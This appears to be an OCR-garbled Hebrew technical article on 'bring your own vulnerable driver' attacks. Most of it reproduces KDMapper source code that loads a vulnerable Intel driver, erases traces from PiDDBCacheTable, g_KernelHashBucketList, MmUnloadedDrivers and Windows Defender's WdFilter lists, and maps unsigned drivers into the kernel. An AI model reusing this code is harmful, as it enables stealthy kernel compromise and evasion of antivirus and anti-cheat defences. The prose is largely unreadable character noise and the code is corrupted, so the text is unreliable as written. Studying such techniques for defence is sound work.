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What he's wondering is why Windows will still load that driver after you've signed it (by changing sytemdate for example).
The reason/answer is sadly just compatability, there's not anything else to it. If a driver was signed, even if the cert is
revoked later, Windows will still run it for compatability purposes.

The number of drivers we use that haven't been touched in 10-15 years is a lot higher than you'd expect.
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wmain( int argc, wchar_t** argv) {
SetUnhandledExceptionFilter (SimplestCrashHandler);

bool free= paramExists (argc, argy, L"free" )> O0;

bool mdMode = paramExists (argc, argv, L"mdl" )> O0;

bool indPagesMode = paramExists (argc, argv, L"indPages" )> O;

bool passAllocationPtr = paramExists (argc, argv, L"PassAllocationPtr" )> 0

(free) {
Log( L"[+] Free pool memory after usage enabled"” << std::endl);

(mdIMode) {
Log( L"[+] MdI memory usage enabled" << std::endl);

(indPagesMode) {
Log( L"[+] Allocate Independent Pages mode enabled" <<std:endl );

(passAllocationPtr) {
Log( L"[+] Pass Allocation Ptr as first param enabled" << std::endl);

int drvindex= -1;
(int i= 1;i<argc; i++){
(std:filesystem:: path (argV[i]). extension (). string (). compare(".sys" ) == 0){
drvindex =1i;

1

(drvindex<=  0){
help (;
=lo

)

std::wstring driver_path = argv[drvindex];

(std:filesystem:: exists (driver_path)) {
Log( L[ -]File™ << driver_path << L" doesn't exist" << std::endl);
PauselfParentIsExplorer O;
o ]_’
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/ [rsp+56h] [rbp-18h] BYREF
[rsp+80h] [rbp+18h] BYREF

&estinationString, L" d
t1InitUnico &SymbolicLinkName, L"\\L ice PdFwKrnl");
qword_140003010 0 BBeBEeee—————
result IoCr )evice(DriverObject, @, &DestinationString, ©x8000u, ©, 1lu, &DeviceObject);
if ( !result )
{
DriverObject->DriveruUnload
DriverObject->MajorFunction

= (PDRIVER_UNLOAD)sub_140001490;
[e]
DriverObject->MajorFunction[14
(2]

= (PDRIVER_DISPATCH)&sub_140001460;

] = (PDRIVER_DISPATCH)DeviceControlIoctlHandler;
DriverObject->MajorFunction = (PDRIVER_DISPATCH)&sub_140001460;
result = IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString);

YoB AL SDHVETE + o < Sk Xuo, X b oL

bool intel_driver:: IsRunning () {
HANDLHile_handle =  CreateFileW (L"\\\\.\\Nal', ALE_ANY_ACCESS, 0, nulpir, OPEN_EXISTING, FILE_ATTRIBUTE_NORM AL, nullptr);
(file_handle != nullptr && file_handle != INVALID_HANDLE_VALUE)
{
CloseHandle (file_handle);
true ;

false ;
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memse(intel_driver::driver_name, 0, (intel_driver.:driver_name));
char alphanumf] =
"abcdefghiklmnopgrstuvwxyz"
"ABCDEFGHIJIKLMNOPQRSTUVWXYZ"
int len= rand() % 20 + 1G;
(int i= 0;i<len;++i)
intel_driver::driver_name[ i] = alphanum[ rand () % ( (alphanum)
Log( L"[<] Loading vulnerable driver, Name: " << GetDriverNameW() << std::endl);
std::wstring driver_path = GetDriverPath ();
(driver_path.  empty()) {
Log(L"[ -] Can't find TEMP folder" << std:endl);
INVALID_HANDLE_VALUE;
}
_wremovedriver_path.  c_str ());
(‘utils:: CreateFileFromMemory (driver_path, reinterpret_cast<
char *>(intel_driver_resource::driver), (intel_driver_resource::driver))) {
Log(L"[ -] Failed to create vulnerable driver file " << std::endl);
INVALID_HANDLE_VALUE;

(Iservice:: RegisterAndStart  (driver_path)) {
Log( L"[ -] Failed to register and start service for the wulnerable driver" << std::endl);
_wremovedrnver_path.  c_str ());
INVALID_HANDLE_VALUE;

HANDLEesult=  CreateFileWw (L"\\\\.\\Nal", GENERIC_READ | GENERIC_WRITED, nulptr,
OPEN_EXISTING, FILE_ATTRIBUTE_NORMAWLLL;
(Iresult || result == INVALID_HANDLE_VALUE)

Log(L"[ -] Failed to load driver iqvw64e.sys" << std::endl);
intel_driver:: Unload ( resul);
INVALID_HANDLE_VALUE;

ntoskrnlAddr = utils:: GetKernelModuleAddress ( "ntoskrnl.exe" );
(ntoskrnlAddr = 0) {
Log(L"[ -] Failed to get ntoskrnl.exe" << std::endl);
intel_driver:: Unload (resutt);
INVALID_HANDLE_VALUE;
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struct PiDDBCacheEntry

LIST_ENTRY List;
UNICODE_STRING DriverName;
ULONG TimeDateStamp;
NTSTATUS LoadStatus;
char _exee28[16];
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bool intel_driver:: ClearPiDDBCacheTable (HANDLEdevice_handle) {

PiDDBLockPtr = FindPatternIinS ectionAtKernel (device_handle, "PAGE", intel_driver:: ntoskrnl Addr,
(PUCHAR\ x8B\ xD8\ x85\ XCO\ XOF\ x88\. ... \Xx4C\ x8B\ x00\ x24" , "XXXXXX??22XXXXX?2?2XXX??22?2XXXXX?2?22X??22?2xX?X" );

PiDDBCacheTablePtr = FindPatterninSectionAtKernel (device_handle, "PAGE", intel_driver::ntoskrnlAddr,
(PUCHAR\ x66\ x03\ XD2 x48 xOD", "xxxxxx" );

(PIDDBLOCKPtr == NULI) {

PiDDBLockPtr = FindPatterninSectionA Kernel (device_handle, "PAGE", intel_driver::ntoskrnlAddr,
XOD\ x00\ . .. \ x00\ x00\ x00\ x00\ XxE 8\ X00\ x00\ X00\ x00\ XE8" , "XXX?? ??XXXXX ?2?2?2?XXX? 2?2?X?2?2?272X" );

(PiDDBLockPtr == NULI) {
Log(L"[ -] Warning PiDDBLock not found" << std::endl);
false ;
}
Log( L"[+] PiDDBLock found with second pattern” << std::endl);
PiDDBLockPtr += 16;

{
PiDDBLockPtr += 28;

(PiDDBCacheTablePtr == NULI) {
Log(L"[ -] Warning PiDDBCacheTable not found" << std::endl);
false ;

}

Log("[+] PiDDB Lock Ptr Ox" << std::hex << PiDDBLockPtr << std::endl);
Log( "[+] PiDDB CacheTable Ptr 0x" << std::hex << PiDDBCacheTablePtr << std::endl);

PVOID PiDDBLock = ResolveRelativeAddress (device_handle, (  PVOIDPiDDBLockPtr, 3, 7);
PRTL_AVL_TABLE PiDDBCacheTable = (PRTL_AVL_TABLKesolveRelativeAddress (device_handle,
(PVOIDPIDDBCacheTablePtr, 6, 10);

(! ExAcquire Resource ExclusiveLite (device_handle, PiDDBLock, true )) {
Log(L"[ -] Can't lock PiDDBCacheTable" << std::endl);
false ;

BYOVD DSE
www.DigitalWhisper.co.il
MM H anHLx 4637 x 4 L ¥




}
Log( L"[+] PIDDBLock Locked" << std::endl);

auto n = GetDriverNameW);

PiDDBCacheEntry* pFoundEn try = (PiDDB CacheEntry*)  LookupEntry (device_handle, PiDDB CacheTable,
iqvw64e_timestamp, n.  c_str ());
(pFoundEntry == nullptr) {
Log(L"[ -] Not found in cache" << std::endl);
ExReleaseResourcelite (device_handle, PiD DBLock);
false ;

PLIST_ENTRY prev;
(! ReadMemorydevice_handle, (  uintptr_t )pFoundEntry + ( offsetof (struct _PiDDBCacheEntry, List.Blink)),
&prev, (_LIST_ENTRY*))) {
Log(L"[ -] Can't get prev entry" << std::endl);
ExReleaseResourcelLite (device_handle, PiDDBLock);
false ;

PLIST_ENTRY next;
(! ReadMemorydevice_handle, (  uintptr_t )pFoundEntry + ( offsetof (struct _PiDDBCacheEntry, List.Flink)),
&next, (_LIST_ENTRY*))) {
Log(L"[ -] Can't get next entry" << std::endl);
ExReleaseResourcelLite (device_handle, PiD DBLock);
false ;

}

Log("[+] Found Table Entry = 0x" << std::hex << pFoundEntry << std::endl);

(! WriteMemory (device_ha ndle, ( uintptr_t )prev+ ( offsetof (struct _LIST_ENTRY, Flink)), &next,
(_LIST_ENTRY*))) {
Log(L"[ -] Can't set next entry" << std::endl);
ExReleaseResourcelite (device_handle, PiD DBLock);
false ;

(! WriteMemory (device_handle, (  uintptr_t )next+( offsetof (struct _LIST_ENTRY, Blink)), &prev,
(_LIST_ENTRY*)) {
Log(L"[ -] Can't set prev entry" << std::endl);
ExReleaseResourcelLite (device_handle, PiD DBLock);
false ;

(! RtIDelete ElementG enericT ableAvl (device_handle, PiDDBCacheTable, pFoundEntry)) {
Log(L"[ -] Can't delete from PiDDB CacheTable" << std::endl);
ExReleaseResourcelite (device_handle, PiDDBLock);

false ;

ULONCcacheDeleteCount = 0;
ReadMemorfdevice_handle, (  uintptr_t )PiDDBCacheTable + ( offsetof (struct _RTL_AVL_TABLE, DeleteCount)),
&cacheDeleteCount, ( ULONR;
(cacheDeleteCount>  0){
cacheDeleteCount -- ;
WriteMemory (device_handle, (  uintptr_t )PiDDBCacheTable + ( offsetof (struct _RTL_AVL_TABLE, DeleteCount)),
&cacheDeleteCount, ( ULON;

}

ExReleaseResourceLite (device _handle, PiDDBLock);
Log(L"[+] PiDDBCacheTable Cleaned" << std::endl);

true ;
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typedef struct _HashBucketEntry
{

struct _HashBucketEntry* Next;
UNICODE_STRINDBriverName;
ULONQCCertHash[ 5];

} HashBucketEntry, * PHashBucketEntry ;
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auto g_Kernel[HashBucketList = ResolveRelativeAddress  (device_handl e, ( PVOIDsig, 3
auto g_HashCachelLock= ResolveRelativeAddress (device_handle, (  PVOIDsig2, 3, 7);
('g_KernelHashBucketList || 'g_HashCacheLock)

Log(L"[ -] Cant Find g_HashCache relative address" << std::endl);
false ;

}
Log( L" [+] g_KernelHashBucketList Found 0x" << std::hex << g_KernelHashBucketList << std::endl);
(! ExAcquireResourceExclusiveLite (device_handle, g_HashCachelock, true )) {
Log(L"[ -] Cant lock g HashCacheLock" << std:endl);
false ;

}
Log(L"[+] g HashCachelLock Locked" << std:endl);
HashBucketEntry* prev = (HashBucketEntry*)g_KernelHashBucketList;
HashBucketEntry* entry = 0;
(! ReadMemorydevice_handle, (  uintptr_t )prev, &entry, (entry))) {
Log( L"[ -] Failed to read first g_Kernel[HashBuck etList entry!" << std::endl);
(! ExReleaseResourcelite (device_handle, g_HashCachelock)) {
Log(L"[ -]Failed to release g_KemelHashBucketList lock!" << std::endl);

false ;

(‘entry) {
Log( L"[] g_KernelHashBucketList lo oks empty" << std::endl);
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(! ReadMemor(device_handle, (  uintptr_t )wsNamePtr, wsName. get (), wsNameLen)) {
Log( L"[ -] Failed to read g_KemelHashBucketList ent ry text!" << std:endl);

(! ExReleaseResourcelite (device_handle, g_HashCachel ock)) {

Log(L'[ -] Failed torelease g_KernelHashBucketList lock!" << std:endl);

false ;

}

size_t find result= std:: wstring (wsNameget ()). find (wdname);
(find_result !=std::wstring::npos) {
Log( L"[+] Found In g_KernelHashBucketList: " << std::  wstring (&wsNamelfind_result]) << std::endl);
HashBucketEntry* Next = 0;
(! ReadMemorfdevice_handle,(  uintptr_t )entry, &Next, (Next)) {
Log( L[ -] Failed toread g_KernelHashBucketList next entry ptr!" << std::endl);
(! ExReleaseResourcelite (device_handle, g_HashCachelock)) {
Log(L"[ -]Failedto release g_KernelHashBucketList lock!" << std::endl);

false ;
(! WriteMemory (device_handle, (  uintptr_t )prev, &Nex, (Next)) {
Log( L[ -] Failed to write g_KernelHashBucketList prev entry ptr!" << std:endl);
(! ExReleaseResourcelLite (device_handle, g_HashCachelLock)) {
Log(L"[ -]F ailedto release g_KernelHashBucketList lock!" << std::endl);

false ;

(! FreePool (device_handle, (  uintptr_t )entry)) {

Log( L[ -] Failed to clear g_KernelHashBucketList entry poal!" << std::endl);
(! ExReleaseResourcelite (device_handle, g_HashCachelock)) {
Log(L"[ -]Failedto release g_KernelHashBucketList lock!" << std::endl);

false ;
}
Log( L"[+ g_KemelHashBucketList Cleaned" << std::endl);
(! ExReleaseResourcelite (device_h ande, g_HashCachelLock)) {
Log( L[ -] Failed torelease g_KernelHashBucketList lock!" << std:endl);
(! ExReleaseResourcelLite (device_handle, g_HashCachelLock)) {
Log(L"[ -]Failedto release g_KernelHashBucketList lock!" << std::endl);

false ;

frue ;

Y mUnloadedDrivers

Though not new or unheard of at this point since it was publicized on a forum less than a week ago | had been removing entries
from the global MmUnloadedDrivers which is an array of base driver names that have since been unloaded from the system
In the event you have unloaded a driver from your system that may trigger an anti-cheats system integrity checks (TDL,
specifically) you iterate the unloaded drivers array and perform a search for the target driver name, remove the entry at the
specific index, and shift all entries down an index which makes it appear as if it was never there

for (i = @; i < MI_UNLOADED DRIVERS; i += 1) {
if (Index >= MI_UNLOADED_DRIVERS) {
Index = MI_UNLOADED_DRIVERS - 1;
}
Entry = &mUnloadedDrivers[ Index ];
if ( !wcscmp( Entry->Name.Buffer, MmUnloadedDrivers[ Index ].Buffer ) ) {
// remove entry from MmUnloadedDrivers

3
J
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T . Kk x4 .t IsNtUnloadDrivebunload. s« *x 15 _ . MtEoadDriver -~ ¢

NtQuerySysteminformatios . x  ~s¢ ;. ¥ 8 L B 2 W Ll B P S L

e R e L]

1 Deiver. L x s x4 MmUnloadedDrivers-Y{ *s o =~ o« _ % |

~ ~

L s |
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typedef struct

_SYSTEM_HANDLE_INFORMATION_EX

ULONG_PTHRandleCount;
ULONG_PTReserved;
SYSTEM_HANDLE Handleg];
} SYSTEM_HANDLE_INFORMATION_ ERS¥STEM HANDLE INFORMATIQN EX

YSYSTEM_HANDGLE * 1iDviver. 4 s _ X

_SYSTEM_HANDLE

LoANTs s X

~ v

typedef struct

PVOID Object;
HANDLEUniqueProcessld;
HANDLEHandleValue;
ULONGGrantedAccess;

USHORTCreatorBackTracelndex;
USHORDbjectTypelndex;
ULONGCHandleAttributes;
ULONCReserved;

} SYSTEM_HANDLE, PSYSTEM HANDLE

HandleValug +: x x ss {x,..sx > | MandleCountUnloaded Drivens . - Is

> v

S X

~

]

oS+ 17IDeivert x 7 1 x © haadlat +061 xsystemmodulg 1 *x * haadlg® 1 ~ 0
44 s PID8 - «u 1 IUnigueProcessld ! + Y d*x " Drivert s _ 4 « s

@O PIDE ! ¥’ ] <J. 1l x_{] IhEndle

CSY X TE st 44N IS8

»

§ 4 Aty 1, x < % o T 4 X I Drivers L

L, X ]s LI " s

:Drivers + ~ X « i 1S % 0Drivert . DEVICE_OBJECT
Syntax
C++
typedef struct _DEVICE_OBJECT {

CSHORT Type;
USHORT Size;
LONG ReferenceCount;
struct _DRIVER_OBJECT *DriverObject;
struct _DEVICE_OBJECT *NextDevice;
struct _DEVICE_OBJECT *AttachedDevice;
struct _IRP *Currentlrp;
PIO_TIMER Timer;
ULONG Flags;
ULONG Characteristics;
__volatile PVPB Vpb;
PVOID DeviceExtension;
DEVICE_TYPE DeviceType;
CCHAR StackSize;
union {

LIST_ENTRY ListEntry;

WAIT_CONTEXT_BLOCK Wcb;
} Queue;
ULONG AlignmentRequirement;
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auto system_handle _inforamtion = static_cast<nt:PSYSTEM_HANDLE_INFORMATION_EX>(buffer);
(auto i= Ou;i<system_hande_inforamtion - >HandleCount; ++)

nt::SYSTEM_HANDLE current_system_handle = system_handle_inforamtion - >Handleg[i];
(cument_system_h andle.UniqueProcessld !=
reinterpret_cast< HANDLE(static_cast<  uint64_t >(GetCurrentProcessld ())))

(cument_system_handle.HandleValue == device_handle)

object = reinterpret_cast< uinté4_t >(current_system_handle.Object);

1

VirtualFree (buffer, 0, MEM_RELEASE);
('object)
false ;
uint64 t device_object = 0
(! ReadMemory{device_handle, object + 0x8, &device_object, (device_object)) ||
Idevice_object) {
Log(L"['] Failed to find de vice_object" << std:endl);
false ;

}
uint64 t driver_object = 0
(! ReadMemorydevice_handle, device_object + 0x8, &driver_object,
(driver_object)) || !driver_object) {
Log(L"['] Failed to find driver_object" << std::endl);
false ;

7 s " *DRIVER _OBJEEDrivert ¢ 1 ¢ 1 + - S 11 Yis LBEVICE_OBJECT 1 * «__S
Y $ + .DRIVER_OBJECT

typedef struct _DRIVER_OBJECT {

CSHORT Type;

CSHORT Size;
PDEVICE_OBJECT DeviceObject;
ULONG Flags;

PVOID DriverStart;
ULONG DriverSize;
PVOID DriverSection;
PDRIVER_EXTENSION DriverExtension;
UNICODE_STRING DriverName;

PUNICODE_STRING HardwareDatabase;

PFAST_IO_DISPATCH FastIoDispatch;

PDRIVER_INITIALIZE DriverInit;

PDRIVER_STARTIO DriverStartIo;

PDRIVER_UNLOAD DriverUnload;

PDRIVER_DISPATCH MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1];
} DRIVER_OBJECT, *PDRIVER_OBJECT;

x _SIX) .~ miDriverSectionl ~ 1S4 X+ fssC s X X om0 X]T ISTpa ¥8XX 4 s
s 7 X XxDriverSectionl ~» s . « s 57 x X { o xx 7 o x P Lxdals, s
X 4.1~ JX¥Windowsd L4 ! | x i s ¢s ” X DR _DATA TABLE_ENTRY, { 1
8 BdseDIINamed ~ s+ 0x581 ,  *x~ X< ¢ {81 4 . | deoffchappell.com

d 1 DdvertL L " -~ *x | _xx JUNKCODE_STRING

~
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Ll o7 s fasm T osleg, X4 . oSS o Iy S 47 s visx w7 i ]

CXG X 0 xss Oy L S € O XIBCCLSKE $ 4 L s ¢ s

1 _ 187 xsDrivém Unloadr 4

MmUnloadedDrivest Drivere v | ! 1 <. x 1+ . MiRememberUnloadedDriver
17«5 o x mmr 4 x4, xbuffer »Y 0d s & 4« X7 T s ¥ X

Dhivers v _ | 4. <$ . _x{s

Y x4 3L silsy x A,
uinté4_t  driver_section = 0;

(! ReadMe mor{device_handle, driver_object + 0x28, &driver_section, (driver_section)) ||
Idriver_section) {
Log(L"['] Failed to find driver_section" << std::endl);
false ;

}

UNICODE_STRINGs_driver_base_dll_name = { 0}
(! ReadMe morgdevice_handle, driver_section + us_driver_base_dIl_name, (us_driver_base_dIl_name))
|| us_driver_base_dll_name.Length = 0) {
Log(L"['] Failed to find driver name" << std::endl);
false ;

}

auto unloadedName = std::make_unique<wchar_t[]>(( ULONGE6MiIs_driver_base_dll_name.Length / 2ULL + 1ULL);
(! ReadMemordevice_handle, (  uintptr_t )us_driver_base_dll_name.Buffer, unloadedName. get (),
us_driver_base_dll_name.Length)) {
Log(L"['] Failed to read driver name" << std::endl);
false ;

}

us_driver_base_dll_name.Length = 0;

(! WriteMemory (device_handle, driver_section + 3, &us_driver_base_dIl_name,
(us_driver_base_dll_name))) {
Log( L"[!] Failed to write driver name length" << std::endl);
f alse ;
Log(L"[+] MmUnloadedDrivers Cleaned: " << unloadedName << std::endl);
true ;

YNdFilterDriverList

LI 1S4 §Drivemt X L i X _ 4 b S SE p X X ST X L1408 ]S, st

x Doxooxo oo kT 4 T s wdfiker.syse 4 B <X X x Windows 10/1L -~ | - Y

~ ~>

¥ « Xss, | y s s

file.net

A Home 5] Files &% Software News ¥ Contact

What is WdFilter?

WidFiltersys is a system file associated with the Microsoft Windows operating system. It is a part of the Microsoft antimalware file system
filter driver, which is a component of Windows Defender, Microsoft's built-in antivirus software. The file is typically located in the C:
\Windows\System32\drivers directory.

The associated software, Windows Defender, is an integral part of the Windows operating system. It provides real-time protection against a
variety of threats, such as malware, spyware, and viruses. The WdFilter.sys file, as part of this system, helps to filter and check files for
malicious content as they are accessed by the system.

WidFiltersys is a crucial component of the Windows Defender system, and as such, it is generally not recommended to remove it. It plays a
vital role in protecting your system from threats. In some cases, if the file becomes corrupted or causes system issues, it may need to be
repaired or replaced. Any modifications to system files should be done with caution and preferably under the guidance of a computer
professional, as improper changes can cause significant system issues.
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1~ L YUBT_ENTRY Unlinking _ v 1 MpFreeDriverinfoExRef ~» ¢ s * X xs”
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(wesstr (ImageName.get (), intel_driver:: GetDriverNameW). c_str () {

bool removedRuntimeDriversArray = false ;
PVOID SamelndexList = ( PVOID(( uintptr_t )Entry - 0x10);

(int k= 0;k < 256; k++) {
PVOIDvalue = 0;
ReadMemorfdevice_handle, RuntimeDriversArray + (k * 8), &value, (PVOID);
(value == SamelndexList) {
PVOID emptyval = ( PVOID(RuntimeDriversCount + 1);
WriteMemory (device _handle, RuntimeDriversArray + (k * 8), &emptyval, (PVOID);
removedRuntimeDriversArray = true ;

(fremove dRuntimeDrivers Array) {
Log("['] Failed to remove fro m RuntimeDriversArray" << std::endl);
false ;

}

auto NextEntry = ReadListEntry (uintptr_t (Entry) +( offsetof (struct _LIST_ENTRY, Flink)));
auto PrevEntry = ReadListEntry (uintptr_t (Entry) + (  offsetof (struct _LIST_ENTRY, Blink)));

WriteMemory (devi ce_handle, uintptr_t (NextEntry) + (  offsetof (struct _LIST_ENTRY, Blink)), &PrevEntry,
(LIST_ENTRY::Blink));

WriteMemory (device_handle, uintptr_t  (PrevEntry) + ( offsetof (struct _LIST_ENTRY, Flink)), &NextEntry,
(LIST_ENTRY::Flink));

ULONGcurrent= 0O
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ReadMemorgdevice_handle, Runtime DriversCount, &current, (ULONR;
current -- ;
WriteMemory (device _handle, RuntimeDrivers Count, &current, (ULONY;

uintptr_t DriverInfo = ( uintptr _t )Entry -

USHORMagic = 0;
ReadMemorgdevice_handle, Driverlnfo, &Maagic, (USHORY;
(Magic != DA19 {
Log("[!] Driverinfo Magic is invalid, new wdfilter version?, driver info will not be released to prevent
bsod" << std::endl);

}

CallKernelFunction< void >(device_handle, nullptr, Mp FreeDriv erinfoE X, Driverinfo);

Manual Drive - x s ¢ ¥ . %" |"H Driver~ 4 * ™" (1 X5 ., «7 X0, 1 3x >

v

& 1~ T xs,pIxCy 1Driver: X | Mapper

r X <« IDriver- 1 1

19 T myp Ses o4 T wwslex ' 2 ¥y & $lx]l « XqTis x| Briveys - 7 4. M. L
L, SN 122 xe g d s %] Jud e siivd s @i IWDrivers 7 AT T2 LS

ST ks YL

Y

¥ " 1 Drverre - 7 1Unsigned Drivers = | ¥ « 4 . «

X3y sxx IDrivert T I X< 4w koL

s "4 ,CI Hg:s« 4171 L SJJ,-Xx”XL“IS)O(VY‘IJV 1

s Tl x X st 4 X TXX x xF] Drivert ~ X *executabler X S{_L "T.Xal kG oS8 X

N S R T X SISl Z-|’”’:cu,_|_l I L *xT"s xXq -|~1 oL x1s

) +x4~\’>,< x4l ”T'X*'sl-Jiqjlv"i,\”lJ$1 :"S~L> ,,,Z:('),)('HX=\.“V:.| q s s q x()§ ] x s
@ XHxN S T g xS x, | s

imagere = x EEiVemt L 4 _ X = 1S SIS {7 {5 1087 I 4L§ ¥ x I Jq]s
Y o & p o xiox0x T PEe 1 _ ~ *sectionst headers

memcpylocal_image_base, data, nt_headers - >OptionalHeader. SizeOfHeaders);

PIMAGE_SECTION_HEADER current_image_section= IMAGE_FIRST_SECTI@\_headers);

(auto i = 0;i<nt_headers - >FileHeader.NumberOfSections; ++i) {
((current_image_section[i].Characteristics & IMAGE_SCN_CNT_UNINITIALIZED_DATA) > 0)

auto local section =reinterpret_cast< void *>(reinterpret_cast< uint64_t >(local_image_b ase) +
current_image_section[i].Virtual Address);
memcpflocal_section, reinterpret_cast< void *>(reinterpret_cast< uinté4_t >(data) +current_image_section[i].PointerToRawData),
current_image_section[i]. SizeOfRawData);

X s LS A X ke I AT L Heeer X TH 707 A X s X

J 1 .x x x s ’L ] xs ,sx~x\:><?< ~ 1 [LJA s’* f‘ ., X X I_s~~xx . .|x~z_s~
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Relocations

When a program is compiled, the compiler assumes that the executable is going to be loaded at
a certain base address, that address is saved in IMAGE OPTIONAL HEADER.ImageBase , some addresses
get calculated then hardcoded within the executable based on the base address.

However for a variety of reasons, it's not very likely that the executable is going to get its
desired base address, it will get loaded in another base address and that will make all of the
hardcoded addresses invalid.

A list of all hardcoded values that will need fixing if the image is loaded at a different base
address is saved in a special table called the Relocation Table (a Data Directory within the

.reloc section). The process of relocating (done by the loader) is what fixes these values.

LoX Ssqiofd T K AL EK” 8 7 1 X D i s H Felocationse ¢ <5 " x ™ U U{xE |
XX T H®P0r - bos 4 dy T ox & x { Ubis: x X xsiX], $ % | XA yxxix s , X
_ x5 S relocationse || T B x "S@"_IXX AL A4 _ K S x D Hu " sX s

rebocation. J~L: L | s

Y X « X« Xl oSSy

void kdmapper:: Reloc ateimageByDelta (portable_executable::vec_relocs relocs, uinté4_t  delta) {
( auto & current_reloc : relocs) {
(auto i= Ou;i<current_reloc.count; ++i) {
uintl6_t  type = current_reloc.iteml[i] >> 12;
uintl6_t  offset = current_reloc.item[i] & OXFFF,

v

relocationge s *s . xi. X +4i,S]

~

(type == IMAGE_REL_BASED_DIR64)
*reinterpret_cast< uinté4_t *>(current_reloc.address + offset) += delta;

YSecurity Cookie

SecurityCookig {1 ~ , 1~

<

xs{ $X _.a_ «~+~PEformatt -~ *! s x., « A

> v o~ A v A

stackr _ f % .~ « 83 3x " ycdpkied -

v

TsxX 441« ¥ f x4 45X X, |y s X

1~ s s« xxcookieg o 1~ xd ,s:s, { . ., ¢ stfck overflow, x "1 x&nary

% 0 st Lo XX B | x o x "rdlgcationst s | s L xsc Ry 4d) ] x 7S
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Y «ode xS G { | osspx Is & 7 ] ox
bool kdmapper:: FixSecurity Cookie (void * local image, uint64_t  kemel_image_base)

auto headers = portable_executable: GetNtHeaders (local_image);
(QIEELES))
fal

auto load_config_directory = headers - >OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY _LOAD_CONFIG].Virtual Address;
(!load_config_directory)
{
Log(L"[+] Load config directory wasn't found, probably StackCookie not defined, fix cookie skipped" << std::endl);
true ;

}

auto load_config_struct = (PI MAGE_LOAD_CONFIG_DIRECTORY)(tr t )local image + load_config_directory);
auto stack_cookie = load_config_struct - >SecurityCookie;
(!stack_cookie)
{
Log(L"[+] StackCookie not defined, fix cookie skipped" << std:endl);
true ;

}

stack_cookie = stack_cookie - (uintptr_t )kernel_image_base +(  uintptr_t )local_image;

*( uintptr_t  *)(stack_cookie) = 0x2 DDF
( ¥ -

Log(L'[ - ] StackCookie already fixed!? this probably wrong" << std:endl);
false ;

}
Log( L'[+] Fixing stack cookie" << std:endl);
auto new_cookie= 0x2B992DDFA232" GetCurrentProcessld ()~ GetCumentThreadld ();
(new_cookie ==
new_cookie = 0;

*(uintptr_t  *)(stack_cookie) = new_cookie;
true

Executablemports

PE_ * xsectiond x s * 3 | 1 ¥mport address table + Y r&locations tablet s _ x | *

R SRR TR N N 17 Isx"Jsx 2 & 4,5 1 48 X 1sgs ., « %

A ~

dmported~ 1 s 4 {4 J X 57 | X XX XD X o sxp o 7w, X0 xxX"xsT | s

Lox Xo 87 XX s |, 0 54T BxRIs x4 x g p 8 X x o se X Xs{{SIY x| ]
s LXx, B X s A4 4. « isCEvers v _importse ¢ L ~ * LY dx T x4 Jdsx ]
TB L _IATE 4 X 0D x {1 "IxxxX x,lsg ¥ sy o | 14D 4 %X s Ilfesy X X

-~ v v v

XX A& fISX4] . T Xss SL. o Difiver

bool kdmapper:: Resolvelmports (HANDLEqQvw64e_device_handle, portable_executable::vec_imports imports) {
for ( auto & current_import : imports) {
ULONG6Module = utils:: GetKernelModuleAddress (current_import. module_name);
('Module) {
(DISABLE_OUTPUT)
std::cout << "l - pendency " << current_import.module_name << " wasn't found" << std::endl;

false ;

(auto & current_function_data : current_import.function_datas) {
uinté4_t  function_address = intel_driver:: GetKernelModuleExport  (igvw64e_device_handle, Module,
current_function_data.name);

(function_address) {
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(Module = intel_driver::ntoskrnlAddr) {
function_address = intel_driver:: GetKernelModuleExport (iguw64e_device_handle,
intel_driver::ntoskrnlAddr, current_function_data.name);
(function_address) {
! (DISABLE_OUTPUT)

std::cout << "[ -] Failed to resolve import " << current_function_data.name <<
current_import.module_name << ") << std::endl;

false ;

image® . headerst . 1 1 - (0117 54 d ~exporfgb - X L Xp - ® X Xl & (4 1]

NtQuerySysteminformatioh v X _ _ % 7% 1 X7s, foq4s, 0 X xshopox ({1 x ., ] ¢
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Payload:

GetProcAddress(...) p ~

NtAddAtom:

\Jmp unsdrlver_entrypomt)

sizeof(Payload)

unsdriver_entrypoint:

XTI XS AT L K isaa H < KDMapper 4 . Lo s 1 . A s

~ ~ oA ~ ~

H " _ Mandal Driver Mapper* « 1 1

1 © _ DXiverL .~ X Ts Ll s 7 oxox

S v LSTUXX 1 og LY ffsi__Davére x4 11l - x¥  Manual Mapper: 1 4 71% L
Drivers - dx _:xx 4 | 17%,< ¥ Mdnual Mapper: *x " £1s]¢ Drivert _ _ - _ S ¢ 471+
AMD. _graphics Driver s pafwkrnl.syst v1_: {1 p + ¥ «GQVE202320598- x*xs{uw | = "
Px x4 A 3. T 2 THOCTID X L SL™ X v br S X4, 17

dvalnurable Driver @ x < Ix X 2 x )X O3 x X 1ox o XD gy v X8 x4 K

~

S o w0 ITX IXPDCl - " Drivers © o4 P T XXX s AN s o ox 4%, 4
X f® "Mapper. 1.1 XS x x s 3 . xhonpaged * 4 X Snétstat.exes ¢
L 1 x KerhelDebugger - | X $8S v L4 X L X 4 X ¥t 1ElS,

dx. ] ¢s

BYOVD DSE
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Technologic

andx 19 .

64X IoWIx s . XXX P ] Driveny - Y St Ha 5B U X T s %

Tk x o oxsq0r 4 b e Driverp ! X4 8 psoSY & cdXk 1 1 tDriver

ol 3 X oIS

S G UDrivems : 4 _ 2 X X IXJOE B "X 4 DLowss L% o

.

~ v

x L hoqlon x4 LR x {E % Driver: X 46 4 x SST 1% X . 4 ]

Rrivemt v s ¢, Hud ~vx 0x X 4. x 1
L .. . XWindows&s o | ;s ] ., S ¢ s” X | xJis xJ§ | fsle oxi kX
Lok 4« T XXl ke § x4y S, X Tous o X a4y 0 x DR x| sTox o x

" DY SN €N . j”sx,_l xc

>

s X X oy

>

o X G XX B4l e IS X p A 1

d.11s¢

YVindowst + 1 ~AVLH s X s . XS5 s
https://learn.microsoft.com/enus/windowshardware/drivers/ddi/ntddk/nsntddk-_rtl _avl table
oAb X T A X s
https ://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/api/ntldr/Idr_data_table_entry.htm
wdfilter.sys. ~ * | s
https://n4rlb.com/posts/2020/01/dissectinghe-windows-defenderdriver-wdfilter-part-1k
Yelocations. ~» * | s
https://0 xrick.qgithub.io/winrinternals/pe7k
1 ~  Security Stack Cookie PE format ~ * s
https ://www.digitalwhisper.co.il/files/Zines/0x5A/DW38-PE.pdf
KDMapper! « 4 X»»x 14
https://github.com/TheCruZ/kdmapper/blob/mastar
M. _ Drvér. s 5t 4~
